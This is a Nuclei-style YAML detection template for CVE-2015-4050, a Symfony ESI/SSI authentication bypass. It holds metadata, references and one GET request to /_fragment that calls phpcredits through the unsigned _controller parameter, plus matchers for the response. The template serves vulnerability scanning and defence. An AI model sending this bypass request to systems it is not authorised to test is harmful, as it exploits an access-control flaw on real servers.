47 lines
1.9 KiB
YAML
47 lines
1.9 KiB
YAML
id: CVE-2015-4050
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info:
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name: Symfony - Authentication Bypass
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author: ELSFA7110,meme-lord
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severity: medium
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description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
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remediation: |
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Apply the latest security patches or upgrade to a non-vulnerable version of Symfony.
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reference:
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- https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
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- http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
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- http://www.debian.org/security/2015/dsa-3276
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- https://nvd.nist.gov/vuln/detail/CVE-2015-4050
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- http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html
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classification:
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cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
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cvss-score: 4.3
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cve-id: CVE-2015-4050
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cwe-id: CWE-284
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epss-score: 0.00598
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epss-percentile: 0.77957
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cpe: cpe:2.3:a:sensiolabs:symfony:2.3.19:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sensiolabs
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product: symfony
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tags: cve2015,cve,symfony,rce,sensiolabs
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http:
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- method: GET
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path:
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- "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "PHP Credits"
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100d90f99fa4301493aeb28357b0ea4b46a40cbec4e3b675583644ef665e08e35d802206e03ca08917179f4e6306da4db59165d5a748a0c444859583cc72335a9d4c673:922c64590222798bb761d5b6d8e72950 |